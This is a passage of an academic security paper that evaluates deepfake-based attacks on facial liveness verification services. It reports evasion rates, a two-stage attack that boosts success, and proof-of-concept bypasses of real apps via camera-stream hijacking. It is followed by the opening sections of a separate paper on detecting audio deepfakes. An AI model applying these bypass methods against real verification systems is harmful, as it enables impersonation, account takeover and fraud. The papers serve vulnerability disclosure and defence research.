FOMM (Stage1+Stage2) 100% / 20% 92% / 99% 92% / 20%
Table 7: Evaluation of the two-stage approach.

by the driving video.

5.4 Target Images
Based on the analysis in Section 5.3, intuitively, the target

image may greatly influence face reenactment methods for

bypassing FLV compared to face swapping methods. Now,

we discuss the influence of the target image on the bypass

rate. For exploring its influence, we randomly sample 20

images that can pass image-based FLV from the image dataset

and 20 images that cannot pass, respectively. Then, we use

LiveBugger to explore such influence. The evaluation results

are shown in Table 6.

As shown in Table 6, the target image has different influ-

ences on different deepfake techniques for bypassing FLV.

Specifically, for FOMM, the synthesized video based on the

passed target image is more likely to bypass FLV than the

failed one. For instance, for FOMM, the successful image

can achieve an overall evasion rate of 49% on BD, much

higher than that (26%) achieved by the failed image. While

for FaceShifetr, the successful and failed images achieve simi-

lar overall evasion rate. Note that, FaceShifter and FOMM are

face-swapping and face-reenactment methods, respectively.

We conjecture that this is because each frame in a synthesized

video by a face reenactment method is more similar to the

target image, such as background and identity. Therefore, the

target image has more impact on face reenactment methods.

5.5 A Customized Two-stage Attack
According to the above interesting insights, the driving

video and the target image can improve the attack effective-

ness of face swapping methods and face reenactment methods,

respectively. For face swapping, since the driving video is un-

der full control of an adversary, he/she can adopt the passed

driving video to improve the attack effectiveness; while for

face reenactment, the obtained target image is not under full

control of an adversary. To this end, we propose a two-stage

approach to improve the performance of face reenactment

methods further.

Stage 1: After we get a target image, we transform it to an

image that can pass image-based FLV, which helps synthesize

a video that can bypass silence-based FLV. For simplicity, we

use FaceShifter to transform the image, which can be trivially

extended to other face swapping methods.

Stage 2: According to the analysis in Section 5.2, adver-

sarial training can improve the effectiveness of bypassing FLV.

Therefore, at this stage, we use a face reenactment method that

incorporates adversarial training to synthesize fake videos.

Name Type FLV Area Result

BI (Basic)
API

Silence-based
Germany

84%

BI (with Assistance) Action-based 82%

PI API Image-based French 90%

AC API Image-based Korea 52%

NT Demo APP Silence-based Lithuania �
BD Demo APP Action-based China �
TC Demo APP Silence-based China �
FPP Demo APP Action-based China ×

Table 8: Evaluation of FLV APIs from the global market. � denotes a

successful attack; × denotes a failed attack.

Now, we explore the effectiveness of the customized two-

stage attack. Specifically, we first randomly select 20 tar-

get images and transform them with FaceShifter to make

them pass image-based FLV. Then, due to the effectiveness of

FOMM for bypassing FLV, we utilize it to synthesize videos

based on five driving videos and the transformed images. Fi-

nally, we use the synthesized videos to evaluate the target FLV

API. The evaluation and ablation studies of the customized

two-stage approach are shown in Table 7.

From Table 7, we have the following observations. 1) Both

Stage 1 and Stage 2 can improve the effectiveness of bypass-

ing FLV. For example, the original FOMM can achieve an

overall evasion rate of 22% on BD, while the FOMM with

Stage 1 and Stage 2 can improve the overall evasion rate to

86% and 39% respectively, which indicates a big improve-

ment. 2) The two-stage approach (Stage 1 + Stage 2) achieves

the highest overall evasion rate. For example, it can increase

the overall evasion rate on BD to 92%. These observations

further confirm the insights observed in previous sections.

6 Evaluation on Global FLV Services
In Section 4, we have evaluated the most representative

FLV APIs in China. Different from the AI cloud vendors

evaluated in Section 4, most of the global FLV vendors often

provide a specific type of FLV. For better representing the

threat surface, we also utilize LiveBugger to evaluate these

leading global vendors. According to the FLV service forms,

we evaluate them in the following ways. For the vendors that

provide the FLV API, we directly evaluate them in a way

similar to Section 4. For some vendors, we only have access

to their demo APPs, which limits the flexibility for calling the

low-level FLV API. Thus, we evaluate them in a more real-

world setting. Specifically, we first hijack the camera video

stream of a local device, which runs the evaluated demo APP.

Since evaluating the demo APPs in a large-scale manner is

challenging, in the evaluation, we randomly select five identi-

ties from the image dataset as the victims. Then, we utilize

LiveBugger to synthesize the corresponding fake videos and

push them into the demo APPs in a real-time manner. For

each demo APP, we consider the attack successful if more

than three out of five trials are successful.

We evaluate the APIs or demo APPs provided by represen-

tative vendors from the global market. The reason to consider

these vendors is as follows: 1) BI is one of the leading bio-

metric vendors, which was successfully tested for level A and
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level B attacks according to ISO 30107-3; 2) PI was selected

as a finalist for the “Best Use of AI in fintech" in IFTA2020;

3) NT is among the eight most accurate face recognition algo-

rithm vendors; 4) AC is one of the leading visual recognition

AI firms in Korea; 5) FPP is widely evaluated by previous

work [32]; 6) due to the large market share of BD and TC, we

further evaluate their demo APPs’ vulnerability. We present

the service types provided by these vendors and the evalua-

tion results in Table 8. Note that, we report attack success rate

and binary attack result (i.e., a successful or failed attack) for

APIs and demo APPs, respectively.

From Table 8, we can see that the security risks also exist

in FLV vendors from the global market. (1) All the evaluated

APIs can be bypassed effectively. For example, as shown in

Table 8, we can achieve an attack success rate of 90% on

PI. (2) Besides, compared to the basic FLV provided by BI

(i.e., silence-based FLV), the FLV with assistance (i.e., action-

based FLV) brings limited security gain, which is the same

as the observations in Section 4. (3) For demo APPs, most

of them can be attacked successfully, further threatening the

security of downstream clients. As for FPP, since it deploys

coherence detection, the synthesized video via the stitched

driving video can be detected with high confidence. Therefore,

we alternatively manually record the required driving video.

Although we cannot fully bypass it in this way, we decrease

the confidence that a fake video is detected as an attack from

0.99 to around 0.5 (the detection threshold).

In summary, similar to the evaluation results in Section 4,

the evaluation on the global FLV vendors confirms that most

of them are vulnerable to deepfake-powered attacks, which is

a severe and widely existing threat.

7 Proof-of-concept Attack
As the source of the software supply chain, the security

risks of APIs will threaten many downstream applications and

clients. In previous sections, we have illustrated that the secu-

rity risks are widespread in various FLV APIs and demo APPs.

In this section, we evaluate such risks in a more real-world

setting. We conduct proof-of-concept attacks on representa-

tive clients of these APIs via a manner similar to the demo

APP evaluation in Section 6, demonstrating the feasibility of

conducting such attacks in the real world. Specifically, we

hijack the camera video stream of the evaluated applications

and feed them with the synthesized video stream in a real-

time manner. The evaluated applications are selected from

the representative clients of the corresponding FLV vendors

according to their official websites, including HN Airlines,

TK Insurance, R360 and HZ Citizen Card. HN Airlines is

rated as Skytrax five-star airline and one of the best airlines

in China. R360 is one of the most valued fintech unicorns in

the world. TK Insurance is one of the largest life insurers by

premium income in China. HZ Citizen Card is a widely-used

government service application in one of the smartest cities

in China. All of these applications have a vast amount of

Type Name Attack Result Users/Downloads

APPs

HN Airlines � 30 million

R360 � 0.33 billion

TK Insurance � 15 million

HZ Citizen Card � 35 million

Table 9: Evaluation of proof-of-concept attacks. �denotes a successful

attack; × denotes a failed attack.

users. For each APP, we recruit five volunteers from the uni-

versity as its users. Note that one volunteer may use multiple

APPs. These volunteers register accounts for the correspond-

ing APPs, which can be considered as an enrollment process.

All the APPs provide services that require FLV. Then, we use

the volunteers’ accounts (authorized by them) to evaluate the

security of FLV services. We present the evaluation results in

Table 9.

From Table 9, we can see that all the evaluated APPs can

be attacked successfully, and thus threaten the security of

millions of users of these APPs. Taking HN Airlines (a rep-

resentative client of BD’s FLV services) as an example, we

show the attack screenshot in Figure 16 of Appendix C. As

shown in Figure 16(a), the application requires the user to

shake his head. Therefore, we reenact the target facial image

to shake his head, which can be recognized by the applica-

tion. We repeat the above reenactment process for each of the

required actions, and then the corresponding verification can

be bypassed. It makes compromising the account of the target

user possible, e.g., stealing his/her accumulated miles.

8 Discussion
8.1 Ethical Consideration

In this work, we conduct a comprehensive security evalu-

ation on FLV using deepfake, which may raise some ethical

concerns. Similar to the previous studies about the security

of AI-powered systems [33–35], we pay special attention to

the legal and ethical boundaries. First, we use open-source

datasets to conduct deepfake synthesis and security evaluation,

which is a legitimate and common practice in face-related se-

curity research [29, 36]. Besides, since we directly call the

target APIs with the target image and the synthesized im-

ages/videos, no fake accounts were created for the celebrities.

Second, our evaluation of the commercial FLV APIs strictly

follows the official instructions, and we paid for the API us-

age. Besides, we limit the Queries Per Second (QPS) to the

recommended value. Therefore, our evaluation does not affect

the normal service of the target vendor. For demo APPs pro-

vided by some vendors, since it is provided for trial use, the

evaluation on them will not affect the normal business affairs.

Thirdly, for the proof-of-concept attacks, we evaluate some

widely used applications with the accounts of volunteers and

get their authorization, which does not affect other users and

the business affairs of the corresponding company. Besides,

we have reported our results to the corresponding vendors and

got their acknowledgments. Finally, we replace the vendor

and APP name with cryptonyms, which can minimize the

potential security risks to the affected vendors.
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8.2 Vulnerability of FLV Services
In this work, we utilize deepfake-powered attacks to eval-

uate the vulnerability of existing representative FLV APIs

and find that almost all of them can be compromised. As

the source of the FLV service supply chain, the vulnerability

will be inherited by downstream APPs, further threatening

millions of end-users. After fine-grained analysis, we spec-

ulate that the following reasons cause it. (1) The design of

the verification process of some FLV APIs is problematic.

For example, the voice-based FLV API of BD detects the

audio signal and facial liveness in a separate manner, which is

highly vulnerable. We can easily bypass it via importing the

required audio to the video. (2) The effectiveness of FLV’s

defense mechanism is concerning. Specifically, it seldom con-

siders stronger attacks (e.g., the proposed deepfake-powered

attacks). For comparison, we evaluate the effectiveness of

FLV APIs for defending against the presentation attacks and

show the results in Table 11 of Appendix C. It can be seen

that the presentation attack can hardly pose any threat to the

current FLV APIs. However, as we can see from Section 4, the

effectiveness of the deepfake-powered attack is much higher

than that of the presentation attack. Therefore, it is urgent

for FLV designers to integrate the defense capability of FLV

against stronger attacks, especially the new arising attacks.

In summary, the imperfection of underlying FLV mecha-

nisms and the inadequate defense capabilities make current

FLV services vulnerable to deepfake-powered attacks.

8.3 Variations of Attack Effectiveness
The evaluation in Section 4 shows that some deepfake

methods show higher effectiveness to evade FLV. For instance,

Figures 6 and 8 show that FaceShifter and FOMM often at-

tain higher overall evasion rate on different vendors compared

with other deepfake methods. In general, more advanced deep-

fake methods (e.g., FaceShifter and FOMM) often obtain

better visual results, leading to higher attack effectiveness.

Meanwhile, different deepfake methods also show variations

across different vendors. Figure 7 indicates that FaceShifter

performs better on BD and TC, while FOMM performs bet-

ter on ST and iFT. Without access to the technical details

of the target FLV vendors, we speculate that such variations

are attributed to the defense measures deployed by different

vendors. For instance, certain vendors may deploy defenses

against specific deepfake attacks.

8.4 Security Suggestions
Below, we provide security suggestions based on the valu-

able insights observed in Sections 4 and 5. Specifically, we

provide customized suggestions for different types of FLV.

a) Image-based FLV. According to the evaluation in Section

4.2, an adversary can utilize one facial image to bypass the

FLV systems. We recommend abandoning image-based FLV

in the future. b) Silence-based FLV. Since silence-based FLV

does not require any auxiliary information, an adversary can

easily utilize deepfake to bypass it. Therefore, anti-deepfake

detection becomes necessary for silence-based FLV. However,

a big gap exists between current anti-deepfake detection and

human perception. Therefore, anti-deepfake detection should

draw more research attention in the future. Note that, anti-

deepfake detection is also necessary for voice-based FLV and

action-based FLV. c) Voice-based FLV. Voice-based FLV can

adopt a cross-modal manner in the future. Specifically, during

verification, it can consider the match of lip movements with

the audio signal, or even voiceprint to improve the security.

Besides, the form of the random process should not be lim-

ited to digits, but a random process with much more diversity.

d) Action-based FLV. Head movements often cause visual

incoherence and unnatural distortion in the synthesized video.

Therefore, coherence and anti-deepfake detection should play

a vital role in developing secure action-based FLV in the fu-

ture. Besides, action-based FLV may adopt actions that are

hard to be synthesized by deepfake.

8.5 Limitations and Future Work
Firstly, our goal is to evaluate the security of FLV. There-

fore, we integrate several SOTA deepfake methods, which

can efficiently bypass FLV. Since many deepfake methods

are based on a similar methodology, LiveBugger does not

include all the deepfake methods. However, thanks to its high

extendability, LiveBugger is ready to be extended to incor-

porate new deepfake methods. Moreover, we plan to open-

source LiveBugger to facilitate the FLV security research

and encourage the community to contribute more techniques.

Secondly, in this study, we mainly focus on the one-shot set-

ting. Indeed, an adversary usually can obtain more than one fa-

cial image of the victim, which may bring more security risks

to FLV. Note that, few-shot deepfake methods [37, 38] can be

easily incorporated into LiveBugger if the threat model is re-

laxed to the few-shot setting. According to [37,38], compared

to the one-shot setting, the few-shot setting can output more

realistic results, which may pose greater threats to FLV. We

plan to extend our work to the few-shot setting in the future.

Finally, extending the current work to other domains, such

as speaker recognition, is an interesting future work. Besides,

according to the security suggestions, developing effective

and robust defense schemes is also a promising future work.

9 More Related Work
In Black Hat 2009, researchers first showed how to eas-

ily bypass facial authentication using one facial image [39].

Later, based on the facial disclosure shared on social net-

works, Li et al. systematically studied the threat brought by

the presentation attack [40].

To mitigate such attacks, many defenses have been pro-

posed via [10, 13, 14, 41, 42]. In early times, researchers used

hand-crafted features to detect face spoofing. For example,

eye blinking detection is a common heuristic used by many

FLV systems [43]. Later on, with the rapid progress of deep
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learning, many researchers used deep features to detect the

presentation attack. Jorabloo et al. proposed a CNN archi-

tecture with proper constraints and supervisions for decom-

position to detect fake faces [44]. George et al. also utilized

CNN for face spoofing detection with deep pixel-wise su-

pervision [45]. Recently, Spatio-Temporal Anti-Spoof Net-

work (STASN) achieved SOTA performance on public anti-

spoofing datasets [46]. Except for these detection methods,

researchers also proposed many defenses from the perspective

of FLV design [47–49]. Chetty et al. proposed a challenge-

response-based liveness detection mechanism that involves

user interaction (speaking given digits), which can signifi-

cantly improve FLV security [47]. More recently, Tang et al.

proposed a liveness detection protocol based on light reflec-

tions [50]. It requires the screen emitting light of random

colors and uses a camera to capture the light reflected from

the face as the liveness clue. Uzun et al. presented a Captcha-

based liveness detection system, which requires the user to

record a video when answering a Captcha to complete the

verification [18].

Compared to existing studies, our work differs in several

major aspects. 1) Most previous work focuses on developing

new liveness detection mechanisms [18, 47, 50]; in contrast,

our work aims to raise concerns about the change of attack

surfaces caused by deepfake and shed light on the future di-

rections of improving the security assurance of current FLV

services. 2) Prior work evaluates face recognition without live-

ness detection. For example, the services evaluated in Uzun’s

work [18], including Face API MS Azure and Amazon Rekog-

nition, do not assume liveness detection capabilities. Although

Uzun et al. used smile detection as a liveness clue, it is not of-

ficially provided by the above services. Thus, it dose not fully

expose the security risks of the latest FLV services enhanced

by liveness detection. 3) The attack-defense landscape of

FLV has since changed significantly. On one hand, FLV ven-

dors have greatly improved their security. For instance, some

vendors claim that their services are equipped with deepfake

detection capabilities. On the other hand, recent years have

witnessed striding advances in deepfake techniques, which

pose unprecedented challenges for FLV. Therefore, it is im-

perative to re-evaluate the security assurance of the latest FLV

services facing SOTA deepfake techniques. In this paper, to

bridge the gap, we conduct the first systematic evaluation and

exploration of the threats of deepfake against FLV.

10 Conclusion
We design and implement LiveBugger, a first-of-its-kind

security evaluation framework for FLV. An extensive evalua-

tion using LiveBugger demonstrates that most representative

FLV systems are highly vulnerable to deepfake-based attacks.

Further, from the adversary’s perspective, we explore the fac-

tors that may impact the attack effectiveness of deepfake.

Based on the findings in this exploration, we propose a cus-

tomized two-stage approach that can further boost the attack

success rate by up to 70%. To assess the threats in realistic

settings, we perform proof-of-concept attacks in real-world

applications. Lastly, we provide a set of suggestions to im-

prove the security of FLV. We hope this work can shed light

on developing more effective and robust FLV schemes.
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Appendix
A Overall Setting
A.1 Deepfake Methods
LiveBugger incorporates six SOTA deepfake methods, in-

cluding X2Face [26], ICface [27], FSGAN [22], First Or-

der Method Model (FOMM) [28] and FaceShifter [29]. We

present their categories in Table 10. Below, we give them a

brief introduction respectively.

X2Face uses an embedding network and a driving network

to generate fake videos. The embedding network maps pixels

from the source frame/image to the embedded face, which

can provide identity information. Then, based on the driving

frame/image, the driving network maps pixels from the em-

bedded face to the generated frame, which has the identity of

the source frame/image and the pose/expression of the driving

frame/image [27].

ICface is a two-stage generative adversarial network

(GAN) based model trained in a self-supervised manner,

which can use human interpretable signals (e.g., head pose

angles) to control the pose and expressions of a given face

image [27].

FSGAN is a GAN-based approach that can be used for face

swapping (FSGANS) and face reenactment (FSGANR). It first

uses a recurrent reenactment generator to estimate the reen-

acted face and its segmentation from the source frame/image,

and a segmentation generator to estimate the face and hair

segmentation from the target frame/image. Then, based on

the above information, it uses an inpainting generator to esti-

mate the complete reenacted face. Finally, it uses a blending

generator to completely blend the reenacted face and target

face [22].

FOMM first uses an unsupervised keypoint detector to ex-

tract first-order motion representation, including sparse key-

points and local affine transformations with respect to the

reference frame/image. Then, the dense motion network uses

the motion representation to generate dense optical flow from

the driving frame/image to the source frame/image. Finally,

the generator uses the source frame/image and the outputs of

the dense motion network to generate the fake frame. Note

that, the discriminator is optional during FOMM training [28].

FaceShifter is a novel two-stage GAN-based framework

for high fidelity and occlusion aware face-swapping. It re-

quires two input frames/images, i.e., a source frame/image

to provide identity and a target frame/image to provide at-

tributes (e.g., posture, scene lighting). In the first stage, it uses

an Adaptive Embedding Integration Network (AEINet) to

generate a high fidelity face-swapping result based on infor-

mation integration (i.e., identity and attributes information).

In the second stage, it uses the Heuristic Error Acknowledg-

ing Network (HEARNet) to handle the facial occlusions and

refine the result, and generate the final frame/image [29].
Deepfake Method Type

X2Face [26] Face Reenactment

ICface [27] Face Reenactment

FSGANS [22] Face Swapping

FSGANR [22] Face Reenactment

FOMM [28] Face Reenactment

FaceShifter [29] Face Swapping

Table 10: Deepfake methods used in our work.

B Additional Evaluation
B.1 Silence-based FLV

FaceShifter vs. FOMM. Since FaceShifter and FOMM

achieve a much higher overall evasion rate, we further com-

pare them on different vendors. The evaluation results are
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shown in Figure 7. It can be seen that FaceShifter and FOMM

have different adaptability on different vendors.

Figure 11: The extracted frames from synthesized videos. The first row

denotes frames extracted from videos that can pass deepfake detection, while

the second row denotes frames extracted from videos that cannot pass deep-

fake detection.

B.2 Voice-based FLV
Lip Language Detection. When the adversary obtains the

given digits, he/she can interactively record a customized

video with the matched lip movements as the driving video to

synthesize the fake video. Below, we utilize the customized

driving videos to evaluate CW’s voice-based FLV API, as

shown in Figure 12.

From Figure 12, we can clearly see that even though the

voice-based FLV API deploys lip language detection, it still

suffers high risks. For example, FOMM can still achieve

around 60% overall evasion rate on CW. Therefore, although

lip language detection brings security gain, it alone is not

enough.

Figure 12: Evaluation with the customized driving video. Since CW has

no anti-deepfake detection mechanism, we do not show its anti-deepfake

evasion rate.

Length of Given Digits. We evaluate the influence of the

digit length on the security of FLV on BD, TC, and CW,

since they support changeable length. As CW deploys the lip

language detection, we evaluate it with the customized driving

videos. For the overall evasion rate under each length, we use

the highest overall evasion rate that the deepfake methods can

achieve. We present the evaluation results in Figure 13.

From Figure 13, we can clearly see that increasing the

length of the digits at the cost of utility does not improve the

security of a voice-based FLV API. For example, for BD and

TC, the overall evasion rate barely changes. This is because

the length of the digits does not influence voice recognition.

While for CW, even though it deploys the lip language de-

tection, since the driving video has matched lip movements,

Figure 13: Evaluation of the influence of the digit length on the voice-based

FLV API.

the influence of the digit length is limited if the deepfake

method is proper in synthesizing the lip movements. The ob-

servation further illustrates that the current implementation

of voice-based FLV may be problematic.

B.3 Action-based FLV
Security of Different Actions. An action-based FLV API

usually supports many actions, including blink, looking up,

turning right, etc. In this way, the target API can randomly

select a sequence of the supported actions. This random pro-

cess is expected to improve the security of action-based FLV.

Intuitively, different actions might have different security guar-

antees since different synthesis difficulties. To this end, we

utilize LiveBugger to evaluate the security of different ac-

tions and show the evaluation results in Figure 14.

From Figure 14, we can find that the overall evasion rate of

different actions for the same vendor is similar. For example,

the result on HW in Figure 14 shows that the overall evasion

rate of all actions is around 80%, which indicates that the

security guarantees of different actions are not much different.

Since the visual effect of the synthesized videos with actions

involving large movements is much worse than that involving

small movements, the former should be detected easily. How-

ever, the target APIs do not behave differently. One reason

could be that the target APIs do not deploy the coherence de-

tection. Overall, the anti-deepfake detection ability in current

action-based FLV APIs needs to be significantly improved.

Length of Action Sequence. Intuitively, increasing the

length of the action sequence should bring better security gain

to action-based FLV. Under each length of action sequence

that the target API supports, we randomly sample from the

supported actions to form the action sequence and then uti-

lize LiveBugger to evaluate the target API. We present the

evaluation results in Figure 15.

From Figure 15, we can see that the security of the action-

based FLV API is insensitive to the action sequence length.

For example, as shown by the result on HW, with the length

of action sequence increased from 1 to 4, the overall evasion

rate is kept at around 80%.

C Other Experimental Results
Proof-of-concept Attack. To better understand the pro-

cess of a proof-of-concept attack, we take HN Airlines as an
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Figure 14: Evaluation towards different actions.

Figure 15: Evaluation of the length of action sequence.

example and show the attack screenshot in Figure 16.

Evaluation of the Presentation Attacks. For analyzing

the vulnerability of FLV against the deepfake-powered attacks,

we also evaluate the effectiveness of the presentation attacks.

We randomly select the replayed images or videos to evaluate

the corresponding FLV services and present the results in

Table 11. It can be seen that the presentation attacks can

hardly pose any threat to the current FLV APIs.

FLV
Liveness

Evasion

Anti-deepfake

Evasion

Overall

Evasion

Image-based FLV
BD 2.5% 100% 2.5%

TC 0 1.5% 0

Silence-based FLV
BD 4.9% 100% 4.9%

TC 2.5% 19% 0

Table 11: Evaluation of the presentation attacks.

(a) Shaking Head (b) Pass

Figure 16: Screenshots for evaluating HN Airlines.
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Abstract
Generative machine learning models have made convincing
voice synthesis a reality. While such tools can be extremely
useful in applications where people consent to their voices
being cloned (e.g., patients losing the ability to speak, ac-
tors not wanting to have to redo dialog, etc), they also allow
for the creation of nonconsensual content known as deep-
fakes. This malicious audio is problematic not only because
it can convincingly be used to impersonate arbitrary users,
but because detecting deepfakes is challenging and generally
requires knowledge of the specific deepfake generator. In
this paper, we develop a new mechanism for detecting audio
deepfakes using techniques from the field of articulatory pho-
netics. Specifically, we apply fluid dynamics to estimate the ar-
rangement of the human vocal tract during speech generation
and show that deepfakes often model impossible or highly-
unlikely anatomical arrangements. When parameterized to
achieve 99.9% precision, our detection mechanism achieves
a recall of 99.5%, correctly identifying all but one deepfake
sample in our dataset. We then discuss the limitations of this
approach, and how deepfake models fail to reproduce all as-
pects of speech equally. In so doing, we demonstrate that
subtle, but biologically constrained aspects of how humans
generate speech are not captured by current models, and can
therefore act as a powerful tool to detect audio deepfakes.

1 Introduction

The ability to generate synthetic human voices has long been a
dream of scientists and engineers. Over the past 50 years, tech-
niques have included comprehensive dictionaries of spoken
words and formant synthesis models that create new sounds
through the combination of frequencies. While such tech-
niques have made important progress, their outputs are gener-
ally considered robotic-sounding and easily distinguishable
from organic speech. Recent advances in generative machine-
learning models have led to dramatic improvements in syn-
thetic speech quality, with convincing voice reconstruction

now available to groups including patients suffering from the
loss of speech due to medical conditions and grieving family
members of the recently deceased [1, 2].

While these speech models are a powerful and important
enabler of communication, they also create significant prob-
lems for users who have not given their consent. Specifically,
generative machine learning models now make it possible to
create audio deepfakes, which allow an adversary to simu-
late a targeted individual speaking arbitrary phrases. While
public individuals have long been impersonated, such tools
make impersonation scalable, putting the general population
at risk. Such attacks have reportedly been observed in the
wild, including a company that allowed an attacker to instruct
funds to be sent to them using generated audio of the victim
company’s CEO’s voice [3]. In response, researchers have
developed detection techniques using bispectral analysis (i.e.,
inconsistencies in the higher-order correlations in audio) [4,5]
and training machine learning models as discriminators [6];
however, both are highly dependent on the specific, previously
observed generation techniques to be effective.

In this paper, we develop techniques to detect deepfake au-
dio samples by solely relying on limitations of human speech
that are the results of biological constraints. Specifically, we
leverage research in articulatory phonetics to apply fluid dy-
namic models that estimate the arrangement of the human
vocal tract during speech. Our analysis shows that deepfake
audio samples are not fundamentally constrained in this fash-
ion, resulting in vocal tract arrangements that are inconsistent
with human anatomy. Our work demonstrates that this incon-
sistency is a reliable detector for deepfake audio samples.

We make the following contributions:
• Identify inconsistent vocal tract behavior: Using a

combination of fluid dynamics and articulatory phonet-
ics, we identify the inconsistent behavior exhibited by
deepfaked audio samples (e.g., unnatural vocal tract di-
ameters). We develop a technique to estimate the vocal
tract during speech to prove this phenomenon.

• Constructing a deepfake detector: After proving the
existence of the phenomena, we construct a deepfake
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detector that is capable of detecting deepfake audio
(Precision: 99.9%, Recall: 99.5%) from a large dataset
we create using the Real-Time Voice Cloning genera-
tor [7]. Finally, we also demonstrate that entries from the
ASVSpoof2019 dataset are easily detectable in the pre-
filtering portion of our mechanism due to a high word
error rate in automatic transcription.

• Analysis of deepfake detector: We further analyze
which vocal tract features and portions of speech cause
the deepfakes to be detectable. From this analysis, we
determine that on average our detector only requires a
single sentence to detect a deepfake with a true positive
rate (TPR) of 92.4%.

• Analysis of Potential Adaptive Adversaries: We con-
ducted two large-scale experiments emulating both a
naïve and an advanced adaptive adversary. Our experi-
ments consist of training 28 different models and show
that in the best case, an adaptive adversary faces greater
than a 26x increase in training time, increasing the ap-
proximate time necessary to train the model to over 130
days.

We note that the lack of anatomical constraints is consis-
tent across all deepfake techniques. Without modeling the
anatomy or forcing the model to operate within these con-
straints, the likelihood that a model will learn a biologically
appropriate representation of speech is near zero. Our detector,
therefore, drastically reduces the number of possible models
that can practically evade detection.

The paper is organized as follows: Section 2 provides con-
text by discussing related work; Section 3 gives background
on relative topics used throughout this paper; Section 4 dis-
cusses our underlying hypothesis; Section 5 details our threat
model; Section 6 explains our methodology and detection
method; Section 7 describes our data collection and experi-
mental design; Section 8 discusses the results of our experi-
ments; Section 9 details the intricacies and consequences of
our work; and Section 10 provides concluding remarks.

2 Related Work

Advances in Generative Adversarial Networks (GANs) have
enabled the generation of synthetic “human-like” audio that is
virtually indistinguishable from audio produced by a human
speaker. In some cases, the high quality of GAN-generated
audio has made it difficult to ascertain whether the audio heard
(e.g., over a phone call) was organic [8]. This has enabled
personalized services such as Google Assistant [9], Amazon
Alexa [10], and Siri [11], which use GAN-generated audio
to communicate with users. GANs can also be trained to
impersonate a specific person’s audio, this kind of audio is
known as a deepfake [12].

The dangerous applications of deepfake audio have spurred
the need to automatically identify human audio samples from

deepfakes. Some of the current work in this area has focused
on identifying subtle spectral differences that are otherwise
imperceptible to the human ear [4,5]. In some cases, the deep-
fake audio will be played over a mechanical speaker, which
will itself leak artifacts into the audio sample. These artifacts
can be detected using a variety of techniques such as machine
learning models [13, 14], additional hardware sensors [15],
or spectral decomposition [16]. Researchers have also tried
to detect these artifacts by using mobile devices. They use
differences in the time-of-arrival in phoneme sequences, ef-
fectively turning the mobile devices into a Doppler Radar that
could verify the audio source [17, 18]. These techniques fall
within the category of liveness detection and have spawned
major competitions such as the ASV Spoof Challenge [19].
However, these methods have certain limitations including the
distance of the speaker from the recording microphone, accu-
racy, additional hardware requirements, and large training sets.
Phonetics (the scientific study of speech sounds) is commonly
used by language models for machine learning systems built
for speech to text [20,21] or speaker recognition [22]. Speech
recognition and audio detection tools also use phonetics to
increase their overall performance and capabilities [23, 24].
While articulatory phonetics is not commonly used in secu-
rity, this has been used in past work, such as reconstructing
encrypted VoIP calls by identifying phonemes [25].

Using concepts of articulatory phonetics, our work attempts
to extract the physical characteristics of a speaker from a
given audio sample; these characteristics would otherwise not
be present in deepfake audio. Human or organic speech is
created using a framework of muscles and ligaments around
the vocal tract. The unique sound of each of our voices is
directly tied to our anatomy [26]. This has enabled researchers
to use voice samples of a speaker to extract the dimensions
of their anatomical structures such as vocal tract length [27–
31], age [32], or height [33, 34] of the speaker. These works
attempt to derive an acoustical pipe configuration by modeling
the human pharynx. This configuration can then be used
as a proxy for the human anatomy to retrieve the physical
characteristics of the speaker. Since deepfakes are generated
using GANs, the physical dimensions are likely inconsistent.
This inconsistency can be measured and help differentiate
between deepfake and human audio samples.

3 Background

3.1 Phonemes
Phonemes are the fundamental building blocks of speech.
Each unique phoneme sound is a result of different config-
urations of the vocal tract components shown in Figure 1.
Phonemes that comprise the English language are categorized
into vowels, fricatives, stops, affricates, nasals, glides, and
diphthongs (Table 1).

Vowels (e.g., “/I/” in ship) are created using different ar-
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Figure 1: The vocal tract is composed of various components
that act together to produce sounds. Distinct phonemes are ar-
ticulated based on the path the air travels, which is determined
by how the components are positioned.

rangements of the tongue and jaw, which result in resonance
chambers within the vocal tract. For a given vowel, these
chambers produce frequencies known as formants whose re-
lationship determines the actual sound. Vowels are the most
commonly used phoneme type in the English language, mak-
ing up approximately 38% of all phonemes [35]. Fricatives
(e.g.,“/s/” in sun) are generated by turbulent flow caused by a
constriction in the airway, while stops (e.g.,“/g/” in gate) are
created by briefly halting and then quickly releasing the air-
flow in the vocal tract. Affricatives (e.g.,“/tS/” in church) are
a concatenation of a fricative with a stop. Nasals (e.g.,“/n/”
in nice) are created by forcing air through the nasal cavity
and tend to be at a lower amplitude than the other phonemes.
Glides (e.g.,“/l/” in lie) act as a transition between different
phonemes, and diphthongs (e.g.,“/eI/” in wait) refer to the
vowel sound that comes from the lips and tongue transitioning
between two different vowel positions.

Phonemes alone do not encapsulate how humans speak.
The transitions between two phonemes are also important for
speech since it is a continuous process. Breaking speech down
into pairs of phonemes (i.e., bigrams) preserves the individual
information of each phoneme as well as transitions between
them. These bigrams generate a more accurate depiction of
the vocal tract dynamics during the speech process.

3.2 Organic Speech
Human speech production results from the interactions be-
tween different anatomical components, such as the lungs,
larynx (i.e., the vocal cords), and the articulators (e.g., the
tongue, cheeks, lips), that work in conjunction to produce
sound. The production of sound1 starts with the lungs forc-

1This process is similar to how trumpets create a sound as air flows
through various pipe configurations.

Phoneme Type Phoneme Example
Vowel /I/ ship

Fricative /s/ sun
Stop /g/ gate

Affricative /tS/ church
Nasal /n/ nice
Glide /l/ lie

Diphthong /eI/ wait

Table 1: English is composed of these seven categories of
phonemes. Their pronunciation is dependent on the configu-
ration of the various vocal tract components and the airflow
that goes through it.

Synthesizer

speaker
embedding

Vocoder

Encoder

“/kæt/00

spectrogram

(cat) (dog)

waveform

Figure 2: Deepfake generation has several stages to create
a fake audio sample. The encoder generates an embedding
of the speaker, the synthesizer creates a spectrogram for a
targeted phrase using the speaker embedding, and the vocoder
converts the spectrogram into the synthetic waveform.

ing air through the vocal cords, which induces an acoustic
resonance that contains the fundamental (lowest) frequency
of a speaker’s voice. The resonating air then moves through
the vocal cords and into the vocal tract (Figure 1). At this
point, different configurations of the articulators (e.g., where
the tongue is placed, how large the mouth is) shape the path
for the air to flow, which creates constructive/destructive in-
terference that produces the unique sounds of each phoneme.

3.3 Deepfake Audio

Deepfakes are digitally produced speech samples that are
intended to sound like a specific individual. Currently, deep-
fakes are produced via the use of machine learning (ML)
algorithms. While there are numerous deepfake ML algo-
rithms in existence, the overall framework the techniques are
built on are similar. As shown in Figure 2, the framework is
comprised of three stages: encoder, synthesizer, and vocoder.

Encoder: The encoder learns the unique representation of
the speaker’s voice, known as the speaker embedding. These
can be learned using a model architecture similar to that of
